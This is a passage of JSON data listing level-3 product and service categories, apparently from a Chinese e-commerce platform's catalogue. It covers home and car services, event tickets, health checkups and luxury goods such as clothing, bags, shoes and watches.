get_child":false},{"id":28915,"name":"其他家电维修","parent_cid":22137,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28856,"name":"家居安装","parent_cid":22130,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28860,"name":"家居配送安装","parent_cid":22130,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28857,"name":"家居维修","parent_cid":22130,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28858,"name":"家居物流/配送","parent_cid":22130,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28859,"name":"其他家居服务","parent_cid":22130,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28919,"name":"装修设计","parent_cid":22143,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28918,"name":"装修施工","parent_cid":22143,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28751,"name":"搬家/搬运服务","parent_cid":22112,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28743,"name":"保姆/看护","parent_cid":22112,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28784,"name":"壁纸清洗","parent_cid":22112,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28787,"name":"玻璃清洗","parent_cid":22112,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28792,"name":"除虫除蚁","parent_cid":22112,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28793,"name":"高空清洗","parent_cid":22112,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28790,"name":"空调清洗","parent_cid":22112,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28789,"name":"空气净化","parent_cid":22112,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28791,"name":"门窗清洗","parent_cid":22112,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28781,"name":"上门保洁","parent_cid":22112,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28786,"name":"物业保洁","parent_cid":22112,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28820,"name":"洗衣机清洗","parent_cid":22112,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28819,"name":"油烟机清洗","parent_cid":22112,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28782,"name":"其他类型","parent_cid":22112,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28794,"name":"家居保养","parent_cid":22113,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28815,"name":"家装测量/空气检测","parent_cid":22113,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28838,"name":"家装配送安装","parent_cid":22113,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28795,"name":"家装维修","parent_cid":22113,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28843,"name":"车况评估服务","parent_cid":22115,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28844,"name":"车辆紧急救援","parent_cid":22115,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28855,"name":"车载电子产品安装服务","parent_cid":22115,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28849,"name":"零配件安装服务","parent_cid":22115,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28852,"name":"内外饰加装改装服务","parent_cid":22115,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28839,"name":"汽车保养服务","parent_cid":22115,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28822,"name":"汽车服务卡","parent_cid":22115,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28840,"name":"汽车检测检查","parent_cid":22115,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28842,"name":"汽车美容服务","parent_cid":22115,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28841,"name":"汽车维修服务","parent_cid":22115,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28853,"name":"上门服务","parent_cid":22115,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28854,"name":"上门服务(即买即约)","parent_cid":22115,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28802,"name":"其他服务","parent_cid":22115,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28636,"name":"亲子游玩","parent_cid":22097,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28635,"name":"亲子游泳","parent_cid":22097,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28776,"name":"安全保卫","parent_cid":22111,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28777,"name":"工商注册","parent_cid":22111,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28774,"name":"会计服务","parent_cid":22111,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28818,"name":"进出口代理","parent_cid":22111,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28780,"name":"迁厂搬家","parent_cid":22111,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28775,"name":"商务服务","parent_cid":22111,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28851,"name":"设备维修或租赁服务","parent_cid":22111,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28778,"name":"市场调研","parent_cid":22111,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28779,"name":"物业管理","parent_cid":22111,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28836,"name":"硒鼓加粉服务","parent_cid":22111,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28814,"name":"知识产权/专利申请","parent_cid":22111,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28835,"name":"其他商务服务","parent_cid":22111,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28891,"name":"翻译服务","parent_cid":22135,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28830,"name":"户外休闲玩乐","parent_cid":22109,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28829,"name":"室内休闲玩乐","parent_cid":22109,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28761,"name":"滑雪场","parent_cid":22118,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28748,"name":"舞蹈/健美操","parent_cid":22118,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28752,"name":"游泳/儿童游泳","parent_cid":22118,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28741,"name":"瑜伽","parent_cid":22118,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28808,"name":"羽毛球馆","parent_cid":22118,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28807,"name":"综合健身","parent_cid":22118,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28864,"name":"窗帘清洗","parent_cid":22131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28863,"name":"地毯清洗","parent_cid":22131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28866,"name":"家居用品清洗","parent_cid":22131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28868,"name":"皮革清洗养护","parent_cid":22131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28867,"name":"汽车用品清洗","parent_cid":22131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28865,"name":"鞋类清洗","parent_cid":22131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28861,"name":"洗衣券/家政服务卡","parent_cid":22131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28862,"name":"在线洗衣","parent_cid":22131,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31922,"name":"优惠券","parent_cid":31921,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31951,"name":" 电影选座","parent_cid":31950,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31952,"name":"电影卡券","parent_cid":31950,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31949,"name":"电竞类 ","parent_cid":31944,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31948,"name":"球类 ","parent_cid":31944,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31946,"name":"田径类 ","parent_cid":31944,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31945,"name":"综合赛事 ","parent_cid":31944,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31947,"name":"其他类 ","parent_cid":31944,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31943,"name":"儿童亲子","parent_cid":31932,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31942,"name":"话剧歌剧","parent_cid":31932,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31941,"name":"曲艺杂技 ","parent_cid":31932,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31940,"name":"舞蹈芭蕾","parent_cid":31932,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31939,"name":"小型现场 ","parent_cid":31932,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31938,"name":"戏曲综艺","parent_cid":31932,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31937,"name":"演唱会","parent_cid":31932,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31936,"name":"音乐会 ","parent_cid":31932,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31935,"name":"音乐节 ","parent_cid":31932,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31978,"name":"其他","parent_cid":31932,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31931,"name":"休闲活动 ","parent_cid":31929,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31930,"name":"展览展会 ","parent_cid":31929,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34535,"name":"公立体检","parent_cid":32639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33146,"name":"私立体检","parent_cid":32639,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32458,"name":"奢品半身裙","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32482,"name":"奢品保暖内衣","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32481,"name":"奢品背心吊带","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32466,"name":"奢品衬衫","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32480,"name":"奢品打底裤","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32456,"name":"奢品大衣","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32470,"name":"奢品短裤","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32461,"name":"奢品短外套","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32455,"name":"奢品风衣","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32460,"name":"奢品婚纱/旗袍/礼服","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32462,"name":"奢品夹克","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32467,"name":"奢品蕾丝衫/雪纺衫","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32469,"name":"奢品连体衣/裤","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32459,"name":"奢品连衣裙","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32468,"name":"奢品马甲","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32444,"name":"奢品毛衣","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32448,"name":"奢品棉裤","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32447,"name":"奢品棉衣/棉服","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32477,"name":"奢品抹胸","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32474,"name":"奢品内裤","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32486,"name":"奢品内衣配件","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32473,"name":"奢品牛仔裤","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32454,"name":"奢品皮草","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32453,"name":"奢品皮裤","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32452,"name":"奢品皮衣","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32465,"name":"奢品Polo衫","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32479,"name":"奢品睡衣/家居服/浴袍","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32483,"name":"奢品丝袜","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32485,"name":"奢品塑身衣","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32464,"name":"奢品T恤","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32484,"name":"奢品袜子","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32478,"name":"奢品卫裤","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32457,"name":"奢品卫衣/套头衫","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32475,"name":"奢品文胸","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32476,"name":"奢品文胸套装","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32450,"name":"奢品西裤","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32471,"name":"奢品休闲裤","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32451,"name":"奢品西装","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32449,"name":"奢品西装套装","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32442,"name":"奢品羊毛衫/羊绒衫","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32446,"name":"奢品羽绒服","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32445,"name":"奢品羽绒裤","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32443,"name":"奢品针织衫","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32487,"name":"其他奢品服饰","parent_cid":32432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32600,"name":"奢品餐具","parent_cid":32439,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32594,"name":"奢品家纺","parent_cid":32439,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32591,"name":"奢品家具","parent_cid":32439,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32590,"name":"奢品lifestyle家居摆件/装饰","parent_cid":32439,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32592,"name":"奢品书籍","parent_cid":32439,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32593,"name":"奢品书写工具","parent_cid":32439,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32595,"name":"其他奢品家居","parent_cid":32439,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33912,"name":"奢品彩妆","parent_cid":33710,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33911,"name":"奢品护肤","parent_cid":33710,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32582,"name":"奢品发饰","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32585,"name":"奢品化妆包","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32587,"name":"奢品口罩","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32579,"name":"奢品领带和领结","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32583,"name":"奢品旅行用品/配件","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32575,"name":"奢品帽子","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32581,"name":"奢品钱包和卡夹","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32588,"name":"奢品首饰收纳","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32574,"name":"奢品手套","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32576,"name":"奢品数码产品及配件","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32578,"name":"奢品太阳眼镜","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32577,"name":"奢品围巾/披肩","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32573,"name":"奢品眼镜和镜框","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32572,"name":"奢品腰带","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32584,"name":"奢品钥匙扣和钥匙链","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32586,"name":"奢品雨伞","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32580,"name":"奢品装饰假领","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32589,"name":"其他奢品配饰","parent_cid":32438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32551,"name":"奢品包袋配饰","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32543,"name":"奢品单肩包","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32545,"name":"奢品典藏包袋","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32540,"name":"奢品电脑包/公文包","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32553,"name":"奢品户外摄影包","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32541,"name":"奢品旅行包袋","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32548,"name":"奢品迷你包袋","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32539,"name":"奢品手拿包","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32554,"name":"奢品收纳配件包","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32544,"name":"奢品手提包","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32550,"name":"奢品双肩包","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32546,"name":"奢品水桶包","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32552,"name":"奢品箱包相关配件","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32549,"name":"奢品斜挎包","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32547,"name":"奢品行李箱","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32538,"name":"奢品腰包","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32542,"name":"奢品邮差包","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32555,"name":"其他奢品箱包","parent_cid":32435,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32599,"name":"奢品礼盒礼赠","parent_cid":32440,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32598,"name":"奢品身体护理","parent_cid":32440,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32596,"name":"奢品香水","parent_cid":32440,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32597,"name":"奢品香薰/蜡烛","parent_cid":32440,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32521,"name":"帆布鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32518,"name":"篮球鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32517,"name":"跑步鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32532,"name":"奢品芭蕾舞鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32523,"name":"奢品布洛克鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32526,"name":"奢品草编鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32525,"name":"奢品德比鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32534,"name":"奢品高跟鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32528,"name":"奢品乐福鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32530,"name":"奢品凉鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32524,"name":"奢品孟克鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32533,"name":"奢品穆勒鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32529,"name":"奢品牛津鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32527,"name":"奢品人字拖","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32535,"name":"奢品拖鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32522,"name":"奢品靴子","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32531,"name":"奢品运动鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32519,"name":"训练鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32520,"name":"足球鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32537,"name":"其他奢品鞋靴","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32536,"name":"其他奢品平底鞋","parent_cid":32434,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32566,"name":"奢品电子腕表","parent_cid":32437,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32567,"name":"奢品高级珠宝腕表","parent_cid":32437,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32570,"name":"奢品古董/典藏表","parent_cid":32437,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32569,"name":"奢品怀表","parent_cid":32437,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32564,"name":"奢